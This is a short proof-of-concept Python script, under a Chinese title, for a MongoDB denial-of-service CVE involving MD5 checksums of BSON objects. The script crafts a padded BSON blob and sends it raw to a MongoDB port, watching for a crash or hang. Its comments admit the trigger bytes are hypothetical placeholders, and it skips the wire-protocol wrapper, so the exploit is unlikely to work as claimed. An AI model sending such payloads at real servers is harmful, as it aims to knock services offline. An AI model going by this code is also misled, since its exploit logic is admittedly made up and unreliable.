CVE-2026-6914 MongoDB BSON对象MD5校验拒绝服务漏洞

# PoC for CVE-2026-6914 # Description: This script demonstrates how a malformed BSON object might trigger the DoS vulnerability in MongoDB. # Note: The exact byte pattern required to trigger the MD5 calculation issue is hypothetical and based on the CVE description. import socket import struct import time def create_malformed_bson_payload(): """ Creates a hypothetical malformed BSON object. The goal is to craft an object that, when its MD5 checksum is calculated, causes the server to crash or hang. """ # BSON document structure: <length><content><terminator> # Example payload with potential manipulation to trigger the bug # This is a placeholder structure; actual exploit requires specific bytes. malformed_data = b"\x02" + b"trigger" + b"\x00" + b"A" * 1024 + b"\x00" # String type length = struct.pack("<i", len(malformed_data) + 5) bson_payload = length + malformed_data + b"\x00" return bson_payload def send_mongodb_payload(host, port, payload): """ Sends the payload to the target MongoDB server. """ try: print(f"[*] Connecting to {host}:{port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((host, port)) # Construct a MongoDB OP_MSG or generic query wrapper containing the malformed BSON # For simplicity, we are sending raw bytes to test parser robustness print("[*] Sending malformed BSON payload...") s.send(payload) # Wait a moment to see if the server crashes or stops responding time.sleep(2) print("[+] Payload sent. Check server status.") except ConnectionResetError: print("[!] Connection reset by peer - Possible crash detected!") except socket.timeout: print("[!] Socket timeout - Server may be hanging (Possible DoS).") except Exception as e: print(f"[-] An error occurred: {e}") finally: s.close() if __name__ == "__main__": TARGET_HOST = "127.0.0.1" TARGET_PORT = 27017 payload = create_malformed_bson_payload() send_mongodb_payload(TARGET_HOST, TARGET_PORT, payload)